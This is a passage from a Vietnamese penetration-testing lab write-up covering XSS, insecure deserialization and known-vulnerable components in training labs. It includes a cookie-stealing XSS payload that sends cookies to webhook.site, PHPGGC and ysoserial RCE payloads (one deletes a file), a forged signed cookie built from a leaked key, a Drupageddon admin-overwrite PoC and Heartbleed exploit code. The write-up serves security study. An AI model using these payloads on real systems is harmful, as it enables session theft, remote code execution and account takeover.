nhập ra bảng (Hình 1.2) ![image](https://hackmd.io/_uploads/Hyct0Vvr0.png) Hình 1.1. Nơi nhập dữ liệu ![image](https://hackmd.io/_uploads/ryZyLTZVA.png) Hình 1.2. Nơi hiển thị và lưu trữ giữ liệu vừa nhập - Tiếp tục mở code lên xem thấy rằng trong file `xss_stored_1.php` chứa đoạn code xử lí dữ liệu nhập vào (Hình 1.3) có thêm lọc dữ liệu đầu vào bằng hàm `xss`(hình 1.4)và đoạn code xử lí để hiện thị dữ liệu ra (Hình 1.5) ![image](https://hackmd.io/_uploads/rktTyHvBC.png) Hình 1.3. Dữ liệu nhập vào sẽ được đưa vào câu query liên kết với cơ sở dữ liệu ![image](https://hackmd.io/_uploads/SyJ2ip-NR.png) Hình 1.4 Đoạn code chứa hàm `xss` xử lí dữ liệu đầu vào database bằng hàm `sqli_check_3` trong file `functions_external.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/S1XLnTbVC.png) Hình 1.5 Xử lí đầu vào trước khi đưa dữ liệu vào database bằng hàm `mysqli_real_escape_string` có chức năng thêm ký tự escape (dấu \) nên các dấu `'`, `"` sẽ không có tác dụng trong database để dữ liệu nhập vào không thoát khỏi chuỗi và thực hiện sqli được ![image](https://hackmd.io/_uploads/ryxNq6ZV0.png) Hình 1.6. Đoạn code xử lí dữ liệu để hiển thị bằng cách lấy dữ liệu từ database do người dùng nhập vào ở hình 1.3 để hiển thị ra bên ngoài **2. Đặt giả thuyết** - Dữ liệu được nhập và xử lí qua hàm `htmli` filter các dấu như `'` , `"` bằng cách thêm escape tuy nhiên chỉ chặn khi ở trong database còn khi ra bên ngoài trình duyệt thì hàm `mysqli_real_escape_string` không còn tác dụng nữa. Vậy liệu chúng ta có thể sử dụng payload cũ không khi mà không có kí tự nào biến mất ? **3. Chứng minh giả thuyết** - Thử payload `<h1>abc</h1>` để xem sữ liệu mình nhập vào có được trình duyệt render hay không thì thấy rằng trình duyệt có xử lí thẻ h1 (Hình 3.1) ![image](https://hackmd.io/_uploads/rksvECWVR.png) Hình 3.1 Kết quả của nhập payload `<h1>abc</h1>` **4. Tiến hành khai thác** - Dùng cách tương tự bài Refleated trước để triển khai payload đọc trộm cookie - Đã thực hiện việc tìm ra lỗi XSS ở những phần trên nên bây giờ mình sẽ tiến hành tạo payload ```gherkin= <script>fetch('https://webhook.site/id_webhook?x='+document.cookie)</script> ``` - Giải thích về payload ở trên: - Đầu tiền là tạo thẻ `<script>` để thực thi mã javascript - Sau đó sử dụng hàm fetch trong JavaScript được sử dụng để thực hiện các yêu cầu HTTP (GET, POST, vv.) từ trình duyệt. Trong trường hợp này, nó thực hiện một yêu cầu GET. - Tiếp theo sử dụng server webhook để có thể hứng request GET gửi tới - Cuối cùng là phần document.cookie để có thể đọc cookie hiện tại của nạn nhân và gửi cho kẻ tấn công - Link web hoàn thiện để gửi cho nạn nhân ```gherkin= http://localhost/bwapp/htmli_get.php?firstname=%3Cscript%3Efetch%28%27https%3A%2F%2Fwebhook.site%2Fid_webhook%3Fx%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E&lastname=x&form=submit ``` - Sau khi có ai đó truy cập vào trang chứa note này thì dữ liệu cookie của họ sẽ được gửi về server (Hình 4.1) ![Screenshot_1](https://hackmd.io/_uploads/Sy-yCAWVA.png) Hình 4.1. Cookie của người dùng xuất hiện bên webhook --- XSS - Stored (Change Secret) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng thay đổi secret (Hình 1.1) ![image](https://hackmd.io/_uploads/S1gP_f8H0.png) Hình 1.1. Trang chính của ứng dụng web - Ứng dụng code để type hidden biến login để đưa biến login vào trong cơ sở dữ liệu ![image](https://hackmd.io/_uploads/HJLqOBwH0.png) Hình 1.2. Code html của phần nhập dữ liệu **2. Đặt giả thuyết** - Trường login để ẩn nên nó không hiện khi truy cập trang web bình thường, liệu biến login ở đây có bảo mật kém hơn ? - Nếu chúng ta thay đổi biến login có phải khi đưa vào cơ sở dữ liệu sẽ là tên của người khác và chúng ta có thể thay đổi secret của họ ? - Vậy nếu chúng ta chèn được hẳn mã javascript được thì mỗi lần người dùng khác vào đổi secret thì đều bị dính xss **3. Tiến hành khai thác** - Chúng ta cần bắt được gói tin chứa giá trị của login trước khi nó được gửi tới server ![image](https://hackmd.io/_uploads/BksKorDHA.png) Hình 3.1. Chặn lại gói tin ở trang chính ứng dụng - Đổi giá trị login thành tên của người khác ví dụ phuc rồi thêm payload để thực hiện xss ``` phuc"><img src=x onerror=alert(origin)> ``` - Thử payload vào thì thấy thực hiện thành công ![image](https://hackmd.io/_uploads/ryWOJUvHA.png) --- XSS - Stored (Cookies) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng chọn thể loại phim mà bạn thích (Hình 1.1) ![image](https://hackmd.io/_uploads/rJE8lwDrA.png) Hình 1.1. Trang chính của ứng dụng web - Khi bắt gói tin thấy rằng có giá trị mới trong biến cookie đó là movie_genre (thể loại phim) ![image](https://hackmd.io/_uploads/Sy-OfPwH0.png) Hình 1.2. Giá trị trong tham số ở method GET giống với giá trị trong biến cookie **2. Tiến hành khai thác** - Đầu tiên cần bật `Intercept is On` và Forward đến gói tin như trong hình 1.2 - Chỉnh sửa giá trị của biến genre thành giá trị mình mong muốn ví dụ như Horror ![image](https://hackmd.io/_uploads/B1ZgN-UB0.png) Hình 3.1. Chặn lại gói tin ở trang chính ứng dụng - Chỉnh sửa giá trị header Referer thành payload thực thi mã javascript ``` ';alert(origin)' ``` - Lưu lại rồi bấm Forward để gói tin gửi tới server - Tắt chặn gói tin - Về trang chính là bấm `Go back` để mã `javascript` được thi - Thử payload vào thì thấy thực hiện thành công ![image](https://hackmd.io/_uploads/ry9YXb8SA.png) --- SQLiteManager XSS --- **1. Chức năng của ứng dụng** - Muốn chúng ta khải thác XSS dựa trên version SQLiteManager cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/HylTYzIB0.png) Hình 1.1. Trang chính của ứng dụng web - Tìm hiểu về `CVE-2012-5105` về cách khai thác `XSS` trên bản `SQLiteManager` cũ - Ở đây là phiên bản 1.2.4 ![image](https://hackmd.io/_uploads/HyGF1-sB0.png) - Sau khi tìm về XXS trên SQlite phiên bản 1.2.4 thì em tìm ra được 1 bài viết về khai thác XSS trong trang `main.php` ![image](https://hackmd.io/_uploads/B1m6JbsS0.png) **2. Tiến hành khai thác** - Vào trang main.php ![image](https://hackmd.io/_uploads/ryjamQsS0.png) - Thêm giá trị vào ô nhập name thì thấy giá trị sẽ được Response trả về ![image](https://hackmd.io/_uploads/Hyfb4XsrA.png) - Vậy nên nếu chèn Payload vào ô nhập name thì dữ liệu sẽ được trình duyệt xử lí ``` "><script>alert(document.cookie)</script> ``` - Thành công thực hiện XSS ![image](https://hackmd.io/_uploads/HkLsiQjBC.png) --- XSS - Stored (User-Agent) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng hiển thị trường User-Agent (Hình 1.1 ![image](https://hackmd.io/_uploads/ryg4CuwBR.png) Hình 1.1. Trang chính của ứng dụng web - Tuy nhiên nó cũng giống bài XSS dựa trên header `User-Agent` chỉ khác mỗi trường `User-Agent` được đưa vào database --- **VIII. Insecure Deserialization** === Lab: Exploiting PHP deserialization with a pre-built gadget chain --- **1. Chức năng của ứng dụng** - Bài lab này sử dụng cơ chế session dựa trên serialization (tuần tự hóa) với cookie đã ký. Nó sử dụng một framework PHP phổ biến. (Hình 1.1) ![image](https://hackmd.io/_uploads/SyHmZvJH0.png) Hình 1.1. Yêu cầu của bài lab - Trang web cho phép đăng nhập trong mục Account sau đó đăng nhập với Account của lab đã cho là `wiener:perter` - Sau khi đăng nhập dùng qua ứng dụng để xem ở đâu xuất hiện deserialize thì thấy rằng chức duy nhất thực hiện điều này đó là ở trong cookie (Hình 1.2) ![image](https://hackmd.io/_uploads/S1GwguyrC.png) Hình 1.2. Cookie của người dùng khi đã đăng nhập với 2 phần là token và hàm băm `sha1` xác thực token đó - Có thể thấy ở trong token trên có dấu hiệu dấu `==` ở cuối là đặc chưng của base64 nên em đưa vào Burp Decoder để decode mã base64 trong token này (Hình 1.3) ![image](https://hackmd.io/_uploads/ryBPWd1SR.png) Hình 1.3. Dữ liệu cookie được decode - Đã tìm ra được chỗ ứng dụng thực hiện deserialize đó là trong cookie - Thử thay đổi người dùng `wiener` thành `carlos` trong mã được serialize kia sau đó mã hoá base64 lại rồi thay vào trong cookie thì nhận được lỗi `Signature not match`, có vể như hàm băm sha1 ở cùng trong cookie kia đã xác thực được cookie đã có sự thay đổi - Tuy nhiên mình đã phát hiện trong lỗi trên xuất hiện phiên bản framework của PHP đang dùng (Hình 1.4) ![image](https://hackmd.io/_uploads/Byzl5uyBC.png) Hình 1.4. Hiển thị lỗi dẫn đến lộ phiên bản framework PHP của trang web đang sử dụng - Còn một vấn đề nữa đó là nếu không tìm được key để mã hóa bằng hàm băm sha1 đoạn token chứa mã đưuọc serialize thì chúng ta cũng không thể chỉnh sửa hay can thiệp gì được vào đây. - Thường `key` hay để trong tệp `phpinfo.php` mà muốn biết vị trí người ta để tệp này ở đâu cũng khá khó nên em đã phải đi scan tất cả các mã nguồn html của trang web để xem liệu họ có để lộ đường dẫn này ở đâu không ? - Sau khi tìm bằng chức năng `Find comment` của Sitemap trong Target BurpSuite thì em đã tìm ra được vị trí của tệp này ở `/cgi-bin/phpinfo.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/Sk6vyXlH0.png) Hình 1.5. Vị trí của tệp phpinfo được tiết lộ trong comment - Khi mở tệp phpinfo.php đã tìm thấy Secret key ![image](https://hackmd.io/_uploads/SkovnQxBR.png) Hình 1.6. `Secret_key` xuất hiện trong file `phpinfo.php` **2. Đặt giả thuyết** - Sau khi biết key thì liệu chúng ta có thể tự tạo hàm băm để đúng với xác thực không ? - Nếu tạo giá trị cho `sig_hmac_sha1` thì chúng ta có thể tùy ý chỉnh sửa cookie phải không ? - Tuy không biết mã nguồn trực tiếp nhưng chúng ta đã tìm được framework PHP mà trang web đang sử dụng liệu có lỗ hổng nào trong framework mà PHP được sử dụng đã được phát hiện và có mã khai thác cho nó hay không ? - Làm thể nào để tìm ra được framework đó đã được người khác tìm thấy lỗi gì ? **3. Tiến hành khai thác** - Sau khi nghiên cứu thì em tìm ra trong PHP có một tool chứa các mã khai thác của các phiên bản đã được tìm thấy lỗi insecure deserialize đó là `PHPGGC` - Tải xuống và sử dụng công cụ bằng cách dựa vào tên và phiên bản framewwork đã tìm thấy để tìm mã khai thác trong công cụ `PHPGGC` - Sau khi tìm têm framework và phiên bản của nó trong công cụ bằng câu lệnh `./phpggc -l Symfony` thì em đã tìm thấy (Hình 3.1) ![image](https://hackmd.io/_uploads/BkQ4VXlrA.png) Hình 3.1. Symfony/RCE4 4.3.6 đã phù hợp với phiên bản trang web đang sử dụng - Chúng ta có thể RCE được bằng mã này bằng lệnh như sau: ``` ./phpggc Symfony/RCE4 exec 'ls' | base64 ``` - Kết quả khi thực hiện lệnh trên sẽ là mã base64 (Hình 3.2) ![image](https://hackmd.io/_uploads/HJgrDQxHC.png) Hình 3.2. Kết quả thực hiện lệnh đọc các thư mục có trong tệp tin - Tuy nhiên để đưa payload trên vào cookie và nó hoạt động được chúng ta cần tạo hàm băm cho bằng sha1 với key đã tìm thấy ở trên thì cookie mới chấp nhận hợp lệ - Mã để tạo lại hàm băm với key đã tìm thấy ```javascript= <?php $object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czo0OiJscyAvIjt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo= "; $secretKey = "c0nykcegc1l0rarqfmc5zb5ruslz42nq"; $cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}'); echo $cookie; ``` - Biến cookie sau khi được tạo ``` %7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czo0OiJscyAvIjt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo%3D+%22%2C%22sig_hmac_sha1%22%3A%22024b482d58542b75f910e21a9546babf63a2e267%22%7D ``` - Sau đó thay thế vào cookie của trang web và load lại để solve bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/ByG9JHeSC.png) Hình 3.3. Bài lab được solve khi thay đổi cookie như trên --- Lab: Exploiting Java deserialization with Apache Commons --- **1. Chức năng của ứng dụng** - Bài lab này sử dụng cơ chế session dựa trên serialization (tuần tự hóa) với cookie đã ký. Nó sử dụng một framework JAVA phổ biến. (Hình 1.1) ![image](https://hackmd.io/_uploads/rk-4KSlH0.png) Hình 1.1. Yêu cầu của bài lab - Trang web cho phép đăng nhập trong mục Account sau đó đăng nhập với Account của lab đã cho là `wiener:perter` - Sau khi đăng nhập dùng qua ứng dụng để xem ở đâu xuất hiện JAVA deserialize thì thấy rằng chức duy nhất thực hiện điều này đó là ở trong cookie - Cookie được mã hóa base 64 vậy nên khi decode thì nhìn ra được mã JAVA Deserialize tuy là nó khá khó nhìn nhưng vẫn có thể nhận ra một vài yếu tố (Hình 1.2) ![image](https://hackmd.io/_uploads/H1K7fmzSR.png) Hình 1.2. Cookie của người dùng khi được decode base64 và xuất hiện dưới đạng mã Java Deserialize - Đề bài có cho chúng rằng sử dụng thư viện commons **2. Đặt giả thuyết** - Công cụ tập hợp các PoC để khai thác java deserialize đó là `ysoserial` vậy chúng ta cso thể sử dụng công cụ này để có thể RCE được website này không ? **3. Tiến hành khai thác** - Tạo mã khai thác bằng công cụ yoserial như sau: - Đầu tiên cần xem phiên bản mình muốn sử dụng là gì ? - Phiên bản mà ta sẽ sử dụng là `CommonsCollections4` - Tiếp theo cần tạo payload khi biết phiên bản, ở đây mình sẽ xóa tệp txt trong carlos bằng cách thực thi `rm /home/carlos/morale.txt` - Cuối cùng là payload tổng thể như sau (Nếu dùng bản java lớn hơn 16) ```javascript= java \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \ -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 ``` - Sau khi thực thi mã trên nó sẽ tạo ra một payload đã được mã hóa base64 như sau: ``` rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABq7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXI3OTEzODc2MTgxNjcxMQEAH0x5c29zZXJpYWwvUHduZXI3OTEzODc2MTgxNjcxMTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA== ``` - Sau đó thay thế vào cookie của trang web và load lại để solve bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/HyiaUNMH0.png) Hình 3.3. Bài lab được solve khi thay đổi cookie như trên --- **IX. Using Components with known vulnerabilities** === Drupal SQL Injection (Drupageddon) --- **1. Chức năng của ứng dụng** - Bài này muốn chúng ta khai thác lỗ hổng SQLi trên nền tảng Drupal phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/SyyeJEOHC.png) Hình 1.1. Yêu cầu của bài lab - Dựa trên gợi ý là CVE-2014-3704 em tìm ra [trang](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704) chứa các đường link về mã khai thác lỗ hổng của CVE này ![image](https://hackmd.io/_uploads/BJh_-H_H0.png) - Sau khi đọc qua các link trong trang tổng quan về CVE-2014-3704 thì em thấy có link của [exploit-db](https://www.exploit-db.com/exploits/34993) cso PoC khá hay về khai thác update được tài khoản mật khẩu của admin trong cơ sở dữ liệu ![image](https://hackmd.io/_uploads/S15Vl8OHA.png) - Poc sau khi chỉnh lại để phù hợp với ứng dụng của chúng ta như sau: ```javascript= <?php $url = 'http://192.168.38.145/drupal/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; } ?> ``` - Sau khi thực thi payload code php trên thì đã cập nhật được cơ sở dữ liệu ![image](https://hackmd.io/_uploads/SycBVLOrR.png) - Truy cập lại với tài khoản `admin` và mật khẩu là `admin` đã vào đưuọc trang quản trị với quyền admin ![image](https://hackmd.io/_uploads/SJrYVL_BR.png) --- Heartbleed Vulnerability --- **1. Chức năng của ứng dụng** - Bài này muốn chúng ta khai thác lỗ hổng của webserver nginx sử dụng OpenSSL phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/B1314c_H0.png) Hình 1.1. Yêu cầu của bài lab - Gợi ý của đề là port `8443` nên em đã dùng nmap để xem port là gì bằng lệnh `sudo nmap -sV -A 192.168.38.145` - Thấy rằng trang web đang sử dụng ssl ở cổng này ![image](https://hackmd.io/_uploads/r1q8PsOBA.png) - Và chúng ta sẽ khai thác Heartbleed là một lỗ hổng bảo mật nghiêm trọng trong thư viện mã nguồn mở OpenSSL - PoC được ứng dụng cung cấp như sau: ```javascript= #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code # Minor customizations by Malik Mesellem (@MME_IT) import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=8443, help='TCP port to test (default: 8443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 